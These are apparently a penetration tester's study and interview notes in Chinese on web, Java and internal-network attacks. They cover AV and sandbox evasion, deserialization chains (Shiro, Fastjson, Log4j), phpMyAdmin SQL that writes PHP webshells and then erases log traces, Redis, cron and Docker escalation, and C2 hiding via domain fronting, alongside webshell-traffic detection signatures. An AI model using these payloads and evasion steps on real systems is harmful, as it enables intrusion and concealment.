web知识

WEB 知识点

用来记一些知识点的概念

最近主要学java安全

绕沙箱

  • 检查所有进程id,无常见进程则不运行
  • 查注册表反虚拟机
  • IsDebuggerPresent反调试(非0则退出)
  • 写入注册表开机启动
  • raw+aes
  • 系统服务
  • 转移

防溯源

blogs/躲避检测/渗透测试中的身份隐藏.md at master · aplyc1a/blogs (github.com)

流量特征

image-20250226151326739

cs shellcode

1、RWX(可读可写可执⾏)权限的内存空间

2、异或密钥固定,3.x 是 0x69,4.x 是 0x2e

3、命名管道名称字符串

\\.\pipe\MSSE-1676-server

%c%c%c%c%c%c%c%cMSSE-%d-sever

冰蝎

重点

1.0

  • Content-Type: application/octet-stream
  • Accpet头:application/xhtml+xmlapplication/xmlapplication/signed-exchange

2.0

  • 动态秘钥
  • 内置UA头
  • AES+BASE64
  • Content-Length: 16

3.0

  • 默认密码 rebeyond

  • content-type application/octet-stream

  • Accept 头application/xhtml+xmlapplication/xmlapplication/signed-exchange

4.0

  • 默认密码rebeyond
  • Accept : application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件
  • 大端口 长连接

1.0

1.Accpet 头 application/xhtml+xmlapplication/xmlapplication/signed-exchange

2.Content-Type: application/octet-stream 这是一个强特征,查阅资料可知 octet-stream 的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组),所以很少使用

2.0

1.使用 AES+base64,AES 使用动态秘钥进行加密。

2.请求的时候内置了十几个 UA 头,(导致频繁变化)

3.Content-Length: 16

3.0

在冰蝎中,任何请求,最终都会调用 Utils.getData 函数,对请求的参数加密。对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload 都为定长,且无随机 padding。

1.固定链接秘钥

2.webshell 默认密码 rebeyond(md5(‘rebeyond’)[0:16]=e45e329feb5d925b)

3.连接 jsp 的数据包 content-type常见为 application/octet-stream

4.Accept 头 application/xhtml+xmlapplication/xmlapplication/signed-exchange

4.0

1.取消连接密码,自定义传输协议算法

2.Accept 字段(弱特征)通常是: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向 application/json 和 text/javascript。

3.Content-Type 字段(弱特征),通常是 Content-type: Application/x-www-form-urlencoded

4.连接使用本地端口在 49700 左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
5.使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive

6.固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

哥斯拉

类似冰蝎 2.0 的密钥交换方式,webshell 动态生成

https://github.com/BeichenDream/Godzilla/releases

重点

  • 请求包pass=”xxx”
  • 响应包为 0
  • md5 前十六位 +base64+md5 后十六位。

静态特征

  在默认脚本编码的情况下,jsp 会出现 xc、pass 字符和 Java 反射(ClassLoader,getClass().getClassLoader()),base64 加解码等特征。

动态特征

  1.Accept 字段(弱特征),默认是 Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
  2.Cookie 中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。
  3.响应体的数据有一定特征,哥斯拉会把一个 32 位的 md5 字符串按照一半拆分,分别放在 base64 编码的数据的前后两部分。整个响应包的结构体征为:md5 前十六位 +base64+md5 后十六位。
  4.请求包长度 52541
  5.以 pass=“xxxx” 开始请求包
  6.请求包较长,响应包为 0
  7.一个 tcp 包里面有三个 http
  8.一共 6 个 http 报文,3 去 3 回

蚁剑

重点

  • UA头 antsword xxx (在/modules/request.js中可修改)
  • @ini_set(“displyad_errors”,”0”)
  • _0x参数

静态特征

  蚁剑中 php 使用 assert、eval 执行;asp 只有 eval 执行;在 jsp 使用的是 Java 类加载(ClassLoader),同时会带有 base64 编码解码等字符特征。

动态特征

  1.我们使用一句话木马上传 webshell,抓包后会发现每个请求体都存在以 @ini_set("display_errors","0");@set_time_limit(0) 开头。
  2.并且响应体的返回结果是 base64 编码发混淆字符,格式为:随机数 结果 随机数。
  3.参数名大多以“_0x…..=”这种形式(下划线可替换为其他)所以,以_0x 开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征

​ 4.UA 头是 antsword xxx

菜刀

重点

  • base64
  • z0 z1参数

动态特征

  1.payload 在请求体中,采用 url 编码 +base64 编码,payload 部分是明文传输
  2.payload 中有 eval 或 assert、base64_decode 这样的字符。
  3.payload 中有默认固定的&z0=QGluaV9zZXQ…这样 base64 加密的攻击载荷
  4.参数 z0 对应 $_POST[z0] 接收到的数据,且固定为 QGluaV9zZXQ 开头。
  5.进行 base64 解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0); 这段意思是首先关闭报错和 magic_quotes,接下来去获取主机的信息。

web解析与编码

浏览器解析与编码顺序及xss挖掘绕过全汇总-腾讯云开发者社区-腾讯云 (tencent.com)

编码

url编码

%接ascil字符

image-20240627110534196

HTML编码

&开头;结尾。

中间英文或者#后接十进制数或#x后接十六进制数。image-20240627110710381

JS编码

image-20240627110719051

解析顺序

浏览器解析:(文档html解析生成DOM树和css样式表后)HTML解码,遇到<script>标签的时候将控制权交给JS引擎

由于需要先生成DOM树再解析html编码内容,所以不可以将标签进行html编码image-20240627111104232

解码顺序

HTML解码。JS解码。URL解码。

APP

image-20250116161827154

APP测试保姆级教程 - 先知社区

过ROOT :Frida-AntiRootDetection:hook底层禁止检测su(那么其实也可以直接hook对应检测函数),Apatch框架,还有狐狸面具+shamiko、KSU框架都可以过root检测

绕过frida:二开,先开应用再开frida

抓包代理:根证书手动设置,SSLUnpinning和算法助手

脱壳:为了可以用jadx反编译,先用MT管理器或者找一些文件资源的功能点查壳,然后用Fundex等软件脱壳

HOOK函数:Frida(hluda)

免杀

免杀方法

  1. 修改特征码,猜测杀软对哪几个字节进行查杀,再对应修改(几乎没用了)
  2. shellcode 加载器,改变加载到内存的方式和加密方式(主流)(分离免杀)
  3. 反射 dll 加载,把 dll 加密,远程下载到内存中再解密执行(高级)

无文件执行木马的方式有哪些?

powershell(脚本解析器) 》》》powershell.exe(应用程序)

VB.script(脚本解析器) 》》》cscript.exe(应用程序)

bat 处理 (脚本解析器) 》》》cmd.exe(应用程序)

javaSrtipt(脚本解析器) 》》》mshta.exe(应用程序)

怎么做 shellcode 免杀?

  1. 编码
  2. 加壳
  3. 混淆
  4. 分离免杀
  5. 特征码修改
  6. 添加无用逻辑语句
  7. 重写 api

分离免杀怎么做?

分为加载器和 shellcode 两部分,一般将 shellcode 存储在网页或者图片中,然后加载器远程加载存在 shellcode 的网页或者图片之类的

powershell 怎么远程加载?

可以远程加载 mimikazt,远控文件,exe 可执行文件实现无文件落地

Webshell

1.高版本 php 不换行执行命令

2.\报错

3.十六进制字符串(php7 不是数字,php5 是)

4.jspx CDATA 特性

jsp 的后缀可以兼容为 jspx 的代码,也兼容 jspx 的所有特性,如 CDATA 特性 jspx 的后缀不兼容为 jsp 的代码,jspx 只能用 jspx 的格式 在 XML 元素里,< 和&是非法的,遇到 < 解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始 但是我们有时候有需要在 jspx 里添加 js 代码用到大量的 < 和&字符,因此可以将脚本代码定义为 CDATA CDATA 部分内容会被解析器忽略,此时 ameter 依旧会与 getPar 拼接成为 getParameter。

5.实体化编码

6.其他编码格式

msf/cs

1.shellcode 加密

2.垃圾字节

3.硬编码单字节秘钥进行运算

4.移位

5.交换连续字节

沙盒免杀

JAVA

基础概念

base 加密网站 Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)

java-web 内存马 https://www.freebuf.com/articles/web/274466.html

rO0AB:base64 加密的 java 对象

https://xz.aliyun.com/t/7079
https://xz.aliyun.com/t/7264

JNDI(Java 命名和目录接口)

JNDI 是一个接口,在这个接口下会有多种目录系统服务的实现,我们能名称等去找到相关的对象,并把它下载到客户端中来。—DNS OR LDAP

RMI(远程方法调用)

作用

image-20250202225314678

RMI 实现了 java 利用远程服务器为具体的 java 方法提供接口,本地只需要根据接口类的定义来提供参数即可调用,依靠 JRMP(远程方法协议)

要求

1.传输的类必须可序列化

2.客户端服务器的 serialVersionUID 字段相同,

3.被远程调用方法的对象一定要实现 java.rmi.remote 接口,

远程对象实现类必须继承 UnicastRemoteObject 类(或者构造方法调用 UnicastRemoteObject.exportObject()静态方法)

运行逻辑

0.JDK 提供注册表功能,创建 RMIRegistry 对象监听 1099 端口

手动注册如下

1.服务器随机监听一个端口

2.客户端的 stub 通过 JRMP 协议封装数据,调用了上面的方法

3.连接服务端并提交参数

4.执行方法 返回结果给客户端

shiro 反序列化

(apache 安全框架)

Shior550

https://blog.csdn.net/Aaron_Miller/article/details/106475088

取出请求包中 rememberMe 的 cookie 值 => Base64 解码=>AES 解密(用到密钥 key,硬编码)=> 反序列化。知道了秘钥就可以控制反序列化的内容来构造链子

则 payload 构造:序列化=>AES 加密=>BASE64=> 写入 cookie

条件:获取 key,存在攻击链

流程:攻击者搭建恶意 vps,存放反弹 shell(经过 base64 加密并且反序列化工具处理!这里的 base64 加密跟服务器无关,应该是为了免杀跟避免编码问题)的 payload1 并进行 JRMPListener,将上述 VPS JRMPListener 的地址进行 AES 加密和 base64 编码,构造请求包 cookie 中的 rememberMe 字段,向存在漏洞的服务器发送加密编码后的结果 payload2。
服务器接收到 payload2 进程 base64 解码 AES 解密,反序列化过程中触发 pop 链造成 payload2 中的语句执行,发现要和恶意 VPS 的 JRMP 通信,请求的过程中接收到了反弹 shell 的 payload1。

Shiro721

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

条件:合法 cookie,攻击链

在一个合法的cookie后面,利用aes加解密机制往后填充恶意数据

绕waf

利用http请求头:请求头修改随机字符,置空

利用shiro特性:rememberMe脏数据,空白字符

绕过waf监控的对象:Host改ip 利用ipv6

fastjson 反序列化

(json 跟 java 对象转换库)

https://blog.csdn.net/Bossfrank/article/details/130100893

要求:RMI 服务的开启(x),没过滤 json 格式,1.2.24<fastjson 版本<1.2.80

fastjson 查看版本

fastjson反序列化漏洞区分版本号的方法总结 - komomon - 博客园

原理

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

AutoType 功能(代替了 setter/getter,当多个类继承同一类,又有同名属性,需要AutoType去指明他原始类),fastjson 在对 json 字符串反序列化的时候,会读取到 @type 的内容,将 json 内容反序列化为 java 对象并调用这个类的 setter 方法

攻击分类

1.JNDI打:(JdbcRowSetImpl链)我们搭建一个远程恶意站点,然后构造语句去让服务器反序列的时候访问 rmi 服务器,rmi 服务器来执行我们在恶意站点上的 class 文件

1
setAutoCommit-->lookup

2.传入恶意的 TemplatesImpl 类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes 生成 java 实例,这就达到 fastjson 通过字段传入一个类,再通过这个类被生成时执行构造函数

1
2
getOutputProperties-->newTransformer-->getTransletInstance-->newInstance
(_bytecodes不为null,父类为ABSTRACT_TRANSLET)

无回显

1.一种是直接将命令执行结果写入到静态资源文件里,如 html、js 等,然后通过 http 访问就可以直接看到结果

2.通过 dnslog 进行数据外带,但如果无法执行 dns 请求就无法验证了

3.直接将命令执行结果回显到请求 Poc 的 HTTP 响应中

各版本

Java中Fastjson各版本漏洞对抗史与总结 - 先知社区

完全零基础入门Fastjson系列漏洞(基础篇) - 先知社区

首先要知道fastjson反序列化的时候通过AutoType去寻找对应类getter setter is 构造函数等方法并调用

TemplatesTmpl链

首先解释TemplatesTmpl本身的安全威胁

img

TemplatesTmpl包的getTransletInstance方法对于成员属性_class下标为_transletIndexdex类进行实例化

然后跟链子

image-20241129094601977

一直往上分析,可以发现就是_1属性的getter方法

image-20241129094707370

来到赋值类,_class类可控但是要求_bytecodes不为null,父类为ABSTRACT_TRANSLET

image-20241129094818483

JdbcRowSetImpl链

image-20250305084155782

image-20241129095125508

好理解很多,setAutoCommit方法会调this.connect(当this.conn空),然后调用了lookup(this.getDataSourceName)

image-20241129095258496

发现还存在一个setDataSourceName方法导致DataSourceName可控

绕过

1.2.25,1.2.42,1.2.44,1.2.45不断加入L; [等字符绕过过滤

1.2.47后利用autoType关闭时自动加载缓存的机制

加载缓存中的Class类,反序列时自动加载val对应的类

image-20250213150032630

1.2.68后利用异常

image-20250213150232028

Weblogic

(用于解析 java,部署大型分布式 Web 应用的 Web 中间件。)

分类:

1.weblogic 控制台的 7001 端口默认开启 T3 协议服务,T3 协议缺陷实现了 RMI

2.weblogic WLS Security 组件对外提供 webservice,使用 XMLDecoder 解析 XML 数据,存在反序列化漏洞

最早的版本过滤了object 后来用void绕过

image-20250213151715343

指明使用XMLDecoder类,调用恶意类ProcessBuilder,调用start方法,传入字符数组

log4j2

(apache 日志库)

2.15.0>log4j2>2.0.0

远程代码执行原理

日志在打印的时候遇到 ${后以:分割为 prefix 和 key,对于 prefix 会调用 lookup 方法并且带入 key 参数

由于 JNDI 出栈没有做好过滤,攻击者利用 lookup 功能对{}内内容的解析进行 JNDI 注入,受害者请求远程服务来链接本地对象,在{}中调用 JNDI 接口(LDAP/RMI 服务)向攻击者提前部署好的恶意站点获取恶意的.class 对象并运行代码

此时的 JNDI 服务调用 RMI 服务,RMI 通过 Reference 类绑定了一个外部远程对象

原理流程

1.目标代码调用了 InitialContext.lookup(URI)且 URL 为恶意 RMI 地址

2.恶意 RMI 服务器返回一个 Reference 对象,其中有一个恶意的 factory 类

3.factory 被动态加载并且实例化,接着调用 factory.getObjectInstance()获取外部远程对象实例

(代码可以写入 factory 类的 getObjectInstance,构造方法,静态代码块等位置)

攻击流程

ldap

编写反弹 shell 语句,base64 编码。攻击机上存放恶意.java 文件并且编译为.class,同一目录下开启 http 服务,开启 LDAP 服务(1389 端口)

再新建一个 shell 开启监听,在 JNDL 注入点,最后的是 class 文件名前缀,ip 是 http 服务的 ip

Jndi高版本注入

jdk(>8u191)

image-20241127163323424

默认禁止了codebase的加载

绕过分析:

1
2
3
ldap lookup的JavaFactory(必须是ObjectFactory的子类)可以来自codebase或者本地的类地址,然后获得实例后构建JavaClassName指定的对象,最后log4j调用toString转换为字符串

例如BeanFactory类 他的默认构造函数可以实例化一个类的同时调用任意只有string参数的方法,再去利用ELProcessor类rce

image-20241127163705453

image-20241127163805742

那么 无法调用远程codebase的高版本jdk(>8u191)只需要找到一个ObjectFactory子类且可利用的java本地类即可

image-20241127164919024

例如BeanFactory类 他的默认构造函数可以实例化一个类的同时调用任意只有string参数的方法

再去利用ELProcessor类

image-20241127165012947

log4j2 (2.15-rc1)

对jndi的host port 加载的java类型等进行了限制

image-20241127170940753

struct2

.action \.do文件

OGNL:用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

st2-045:注意请求头Content-Type

内存马

原理:通过在 Java 虚拟机(JVM)中运行的恶意代码,实现对被攻击者系统的远程控制。其原理是通过在 Java 虚拟机中注入特定的 Java 类、变量或方法等 Java 对象,然后在 Java 虚拟机中运行这些代码,实现对受害者机器的远程控制

Tomcat 实现内存马的方式

Servlet-API 型

  通过命令执行等方式动态注册一个新的 listener、filter 或者 servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如 tomcat 的 value 内存马

filter 型内存马

  所谓 filter 内存马,就是在 web 容器中创建了含有恶意代码的 filter,在请求传递到 servlet 前被拦截下来且执行了恶意代码。

servlet 型内存马

  servlet 型的内存马原理就是注册一个恶意的 servlet,与 filter 相似,只是创建过程不同。

  核心还是看 StandardContext,在 init filter 后就调用了 loadOnStartup 方法实例化 servlet

  可以发现 servlet 的相关信息是保存在 StandardContext 的 children 字段。

listener 型内存马

  listener 用于监听时间的发生或状态的改变,其初始化与调用顺序在 filter 之前。

  listener 选择很多。我们选择与 request 相关的 ServletRequestListener。

  Tomcat 使用两类 Listener 接口分别是 org.apache.catalina.LifecycleListener 和原生 Java.util.EventListener。

  一般作为 webshell,需要对网站发送请求使用 Java.util.EventListener。

字节码增强型

  通过 java 的 instrumentation 动态修改已有代码,进而实现命令执行等功能。

查杀思路

  • 检查日志,相同路径但是参数不同,页面不存在返回200

  • 中间件日志报错

  • 流量分析

  • 利用 Java Agent 遍历加载到内存中的 Class

  • 先判断是否是内存马,是则进入内存查杀。

特征判断

  • (关键字)根据 shell 或者随机数关键字

  • (优先级)根据 Filter 优先级;为了使权限最大化,保证在各种情况下都可以访问,需要把优先级调到最高

  • (加载器)根据特殊的 classloader(类加载器)、 Filter 对应的 ClassLoader 目录进行检测; Filter 也是一种 Class,必定需要特定的 classloader(类加载器)

  • (恶意代码)把内存中 class 导出,反编译之后查看是否存在恶意代码;如调用的了一些特殊的方法

    • java.lang.Runtime.getRuntime
    • defineClass
    • Invoke
  • (配置)web.xml 中没有 fitter 配置

JBOSS

Jboss 是一个管理 EJB 的容器和服务器。

分类

jbossmq-httpil/HTTPServerILServlet
invoker/readonly
invoker/JMXInvokerServlet

原理

程序获取 http 请求数据保存到 httpRequest 中,进一步处理后保存到变量 ois 中,然后程序没有对该数据进行过滤,直接使用 readObject()方法进行反序列化。

php

phpmyadmin

Select into outfile 写入

条件

1.web 目录写权限以及单引号

2.绝对路径(phpinfo/php 探针/报错)

3.secure_file_priv 没有具体值

show global variables like ‘%secure%’; 查看当前设置
1.当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入 | 导出,此时无法提权

  1. 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入 | 导出只能发生在 /tmp/ 目录下,此时也无法提权
  2. 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入 | 导出做限制,此时可提权 在 MySQL 的配置文件 my.ini 中进行配置

利用

1
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php' 这里需要注意的一个点是路径需要用”\“

日志写入

1.查看配置

1
2
3
SHOW VARIABLES LIKE ‘%general%
查看mysql的日志状态,默认是关闭的
general_log_file为日志保存的位置

2.开启 general_log 模式

1
2
3
set global general_log = on;
记录用户输入的每条命令并保存在 C:\phpStudy\MySQL\data\stu1.log 的文件中
开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用

3.修改日志目录为 shell 地址

1
set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';

4.写入 shell 并连接利用

1
select '<?php eval($_POST[cmd]);?>'

5.抹除痕迹

1
2
3
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
set global general_log = off;
SHOW VARIABLES LIKE '%general%'

绕过disable_funcion

bypass disable_function的方法及蚁剑插件bypass-php-function使用 - zw1sh - 博客园 (cnblogs.com)

apache mod_cgi

image-20240627173315087

前提image-20240627173252656

image-20240627173423213

LD_preload

写一个动态链接文件image-20240906104037469

shellshock

PHP-FPM

其他

UAF

FFI

COM

PHP 爆路径

单引号,错误路径报错

phpinfo 和 phpmyadmin 探针

任意文件读取

图片路径

phpinfo

路径:SCRIPT_FILENAME DOCUMENT_ROOT

支持程序:如redis,mysql,fastcgi,gopher

真实ip:_SERVER[“SERVER_ADDR”] (绕cdn)

敏感配置:远程文件包含,文件读取,禁用函数名,基础目录,短标签,配置文件位置

解析漏洞

IIS

罕见后缀名

asa cer cdx

分号截断

ap.asp;,jpg

PUT文件上传

MS15-034

HTTP.sys RCE

文件夹解析**(5.x-6.x**)

/xx.asp/xx.jpg(控制文件夹名字就可以让此文件夹下文件执行)

CGI漏洞(7.0-7.5):默认开启 Fast-CGI

上传如上文件,访问路径/1.jpg/.php 会导致图片被解析为 php 并生成 shell

Ngnix

CGI漏洞(<0.8.37)

和 IIS 7.0/7.5 一致

%00 空字节

Nginx 0.5.*

Nginx 0.6.*

Nginx 0.7 <= 0.7.65

Nginx 0.8 <= 0.8.37

xxx.php%00.jpg

Apache

文件名解析

从右到左,例如上传一个 xie.php.rar,无法识别 rar 会走到 php

罕见后缀

.htaccess

RCE

CVE-2021-42013

2e url编码路径穿越后文件包含,可以包含/bin/sh

若开启cgi-bin可以rce

其他

windows: xx.jpg[空格或.]会被默认删除,可绕过黑名单

image-20250226151059973

总结:IIS的文件夹解析和FASTCGI,Nginx的FASTCGI和%00空字节,apache多后缀和罕见后缀

Redis 提权

渗透测试怎么利用 Redis 提权 - h0cksr - 博客园 (cnblogs.com)

默认端口 6379

利用

一.登录 redis

默认无密码与弱口令/未授权访问

二.提权

1.写入 webshell

2.公私钥获取 root 权限

3.crontab 定时任务反弹 shell

软连接

  • 只有centos才可以: 因为默认redis写⽂件后是644的权限,但ubuntu要求执⾏定时任务⽂件**/var/spool/cron/crontabs/权限必须是600也就是-rw———-才会执⾏,否则会报 错(root) INSECURE MODE (mode 0600 expected),⽽Centos的定时任务⽂ 件/var/spool/cron/权限644**
  • 执⾏redis保存RDB会存在乱码,在Ubuntu上 会报错,⽽在Centos上不会报错
  • 然后由于系统的不同,crontrab定时⽂件位置也会不同

4.主从复制 rce

解决脏数据:fulshall清除内容,select xx切换数据库

防御

更改端口

修改口令

绑定内网

开启保护模式

docker逃逸

检查环境

ls -al / 寻找.dockerenv

cat /proc/1/cgroup

漏洞

Docker Remote Api 未授权访问

2375端口,特权模式拉取一个镜像后挂载宿主机进入一个新建的目录,然后目录中写一个sh文件反弹shell

特权模式逃逸

cat /proc/self/status|grep Cap检查0000003fffffffff

同上挂载,还可以写计划任务,ssh公钥,chroot换目录

危险挂载

Docker Socket挂载

宿主机procfs

脏牛

runC

端口

常用

21 ftp

22 ssh

23 telnet

25 smtp

101 pop3

135 rpc

139 445 SMB netbios MS170

389 LDAP协议

3389 远程桌⾯

5985 winrm

数据库

1433 MSSQL

1521 Oracle

3306 MySQL

5432 PostgreSQL

web服务

80-89 web

8000-9090 web

特殊服务

443 SSL⼼脏滴⾎

2601、2604 zebra路由,默认密码zebra

873 Rsync未授权

5984 CouchDB http://xxx:5984/_utils/

6379 redis未授权

7001、7002 weblogic默认弱⼝令、反序列化

9200、9300 elasticsearch 参考乌云:多玩某服务器ElasticSearch命令执⾏漏洞

11211 memcache未授权访问

50000 SAP命令执⾏

50070、50030 hadoop默认端⼝未授权访问

内网

Microsoft-DS traffic : 445/TCP 445/UDP

Kerberos : 88/TCP 88/UDP

LDAP ping : 389/UDP

DNS : 53/TCP 53/UDP

NetBIOS的相关服务 : 137/TCP 137/UDP 138/UDP 139/UDP 开放这些连续的端口,以便于通过防火墙来使用

面试小问题

七层协议

物理 数据链路 网络 传输 会话 表达 应用层

蜜罐如何欺骗攻击者

协议:模拟对应协议响应,指纹

数据:伪造真实数据插入数据库,文件等

流量:伪造流量回显,定期发送同步流量

web:开放高危端口

交互:允许登录 返回提权成功数据

工控流量

协议层

修改默认协议头,增加响应延迟

Modbus:监听端口 响应03 05等功能码,返回伪造寄存器数值

西门子PLC(s7comm):伪造握手协议,响应S7 Read/write返回plc型号

DNP3:模拟主从站点通信,伪造二进制点

留下nday

型号,web界面伪造

动态生成随机数据

发送真实工控流量巡检的噪声

检测蜜罐

大量指纹 js 特征 网站速度

开放大量端口

bp查看下流数据

数据流是否是动态近期的

下载文件的命令

windows

  1. FTP
  2. VBS
  3. bitsman
  4. cerutil
  5. ps(New-Object System.Net.WebClient)
  6. wget
  7. curl

linux

  1. curl
  2. wget
  3. scp
  4. rz
  5. netcat
  6. git clone

shiro长度限制

System.setProperty写入系统属性

通过线程对象的名字来存储payload

文件落地分块传输

webshell不能执行命令

disable_func

注册表缺少组件

waf

cmd被降权

img

img

http和https

基于SSL/TLS协议,包含:

  • 公钥:加密数据
  • 证书颁发机构 CA签名:保证证书真实性和信任
  • 证书持有者信息:包含域名和组织信息

image-20250401125319817

##什么情况没有referer头

手动清除

https跳到http

meta标签禁止

referer-policy

隐私模式

JWT安全问题

加密算法置空

jwt数据敏感

秘钥混淆攻击:RS256可换为HS256

无效令牌

暴力破解

头部注入

JDK高版本安全修复

JNDI (8u191) 禁止了远程加载,必须继承ObjectFactory:利用本地类BeanFactory实例化一个类如ELProcessor

企业内部钓鱼检测思路

邮件网关过滤

  • 配置上启用SPF DKIM DMARC,拦截伪造域名
  • URL分析 识别短连接
  • 附件沙箱扫描 禁用宏

流量监控

  • dns请求监控
  • 防护域前置,检测host头
  • ai识别异常访问

端点安全

  • 监控异常行为与进程
  • 保护浏览器安全

云存储桶漏洞

  • 可遍历桶
  • bucket爆破
  • 任意文件上传覆盖
  • bucket接管
  • ak sk
  • 配置可写

绕cdn

从cdn本身出发:

  1. 历史记录
  2. 多地区
  3. 子域名
  4. 空间引擎,censys搜ssl

从漏洞:

  1. 邮件(发邮件给不存在的地址,失败后返回ip)
  2. ssrf
  3. ping dnslog

从网站配置:

  1. 源代码,探针,phpinfo等配置信息

sqlmap os-shell原理

(实操也可以用fields)lines terminated by写php shell,一个用来上传,一个用来rce

  1. 提高容错(被删掉后门)
  2. 绕过waf
  3. 错误隔离,方便调试
  4. 流量监控复杂化

域名收集

被动子域名收集的方式:

  • 信息泄露(github)
  • 搜索引擎
  • 网络空间测绘引擎
  • 证书透明(证书查询相关子域名)
  • 使用公共数据集
  • 第三方DNS服务(dns服务接口查询)
  • AS 号码查询(某个AS下所有域名)
  • SAN 收集(SSL/TLS证书中的SAN字段)

主动收集子域名的方式:

  • 字典枚举
  • 置换扫描(根据命名模式生成字典)
  • 域传送漏洞(主从DNS同步漏洞,请求获取所有子域名)
  • DNSSEC(验证DNS记录签名信息)
  • DNS缓存

验证码

手机

  • 绕过登录:万能密码,置空绕过,返回包中存在
  • 其他逻辑洞:篡改内容为他人手机号,可复用验证码
  • 服务器资源:可爆破(XFF头,加号 86 空格,并发,多个手机号)

图形

  • 绕过登录:万能密码,置空绕过,返回包中存在
  • 其他逻辑洞:可识别,可复用
  • 服务器资源:长宽可控

域前置/CDN技术

利用CDN、域前置、重定向三种技术隐藏C2的区别_域前置与cdn区别-CSDN博客

CDN

注册一个域名,将他的A记录解析到一个cloudflare域名(或者其他cdn平台)上,然后再把自己的域名再注册一个cdn服务

将自己的cdn的A记录解析,让他可以解析到C2的ip上,受害机的流量就只看得见cdn的ip了

1
2
3
通过CDN隐藏了自己真实的ip
攻击者ip--cdn节点--攻击者域名(可见)
需要一个不备案的域名 不限制https

域前置

同一个cdn下有两个域名,curl访问的时候取决于host头写的是哪个域名

1
2
通过CDN解析的特性(hosts头)来隐藏了ip和域名(除非你想分析hosts头)
基于https 可以利用高信誉域名(前提是和自己的ip在同个cdn下)

CleanShot 2021-04-23 at 22.06.16@2x.png

vCenter渗透思路

1.查看版本:https ://x.x.x.x/sdk/vimServiceVersions.xml 打cve拿webshell

2.寻找凭据后解密拿cookie

•Linux:
/storage/db/vmware-vmdir/data.mdb
•Windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

3.获取机器hash或者密码

生成快照-vol/Vmss2core内存分析

未授权访问

hadoop,FTP,LDAP,docker,Redis,Jboos,Jenkins..

站库分离怎么打?

立足点是web的时候常规打,翻找数据库配置文件

对于数据库

select * from information_schema.PROCESSLIST;

定位web端ip load_file(mysql<5.7)读文件

MSSQL:host_name() @@servername确认站库分离 尝试RCE

KDC服务器

启动到88,464

  1. 用户名爆破

  2. 密码喷洒和密码爆破

  3. Kerberoasting(利用spn GetUserSPN)

  4. ASRepRoasting(利用预认证后爆破凭据 GetNPUser)

  5. 黄金票据和白银票据

  6. MS14-068

  7. 非约束委派、约束委派、基于资源的约束委派

  8. 票据传递(ptt/ptk/ptc)

  9. mimikatz加密降级攻击(万能钥匙)

  10. 使用恶意的kerberos证书做权限维持

psexec原理

连接SMB共享后上传恶意服务文件到共享目录,打开SCM创建恶意服务连接管道

frp有哪些流量特征,如何进行隐藏?

Frp流量隐匿对抗排查_内网渗透

如果没有做任何配置或者 tls_enable=false,则 wireshark 抓取的流量就是纯明文的,很容易暴露

frpc 在连接认证 frps 的时候,会进行三次握手,会把 frp 的版本信息发给 frps 进行认证,如果是用的一个没有改过的 Frp 那么这时候只要建立连接,很容易就会被安全设备捕获到

打开 tls_enable 之后,流量就做了加密

使用 tls_enable 加密后,首次连接会一个 0x17 的头部特征,并发送一个大小为 243 的数据包

ubuntu定时任务弹shell失败

ubuntu的/bin/sh指向的是sh

重新改软连接,或者写成 bash -c “bash -i >& ……”

⽇志被删除如何处理

将⽂件 /proc/544/fd/7 拷⻉到 /var/log/messages

执⾏命令: cp /proc/544/fd/7 /var/log/messages

重新启动 rsyslog 服务即可恢复被误删除的⽇志⽂件

为什么 aspx 木马权限比 asp 大?

aspx 使用的是.net 技术。IIS 中默认不支持,ASP 只是脚本语言而已。

入侵的时候 asp 的木马一般是 guest 权限而 APSX 的木马一般是 users 权限。

代码执行、文件读取、命令执行函数有哪些?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1)代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

Thread Timer ExecutorService

2)文件读取:
file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等

Filereader BufferedReader FileInputStream BufferedStream

3)命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()

ProcessBuilder Runtime

提权为何选择可读写目录?不用带空格的目录?

因为 exp 执行多半需要空格界定参数

token 和 refer 横向对比 谁安全等级高?

token 安全等级更高

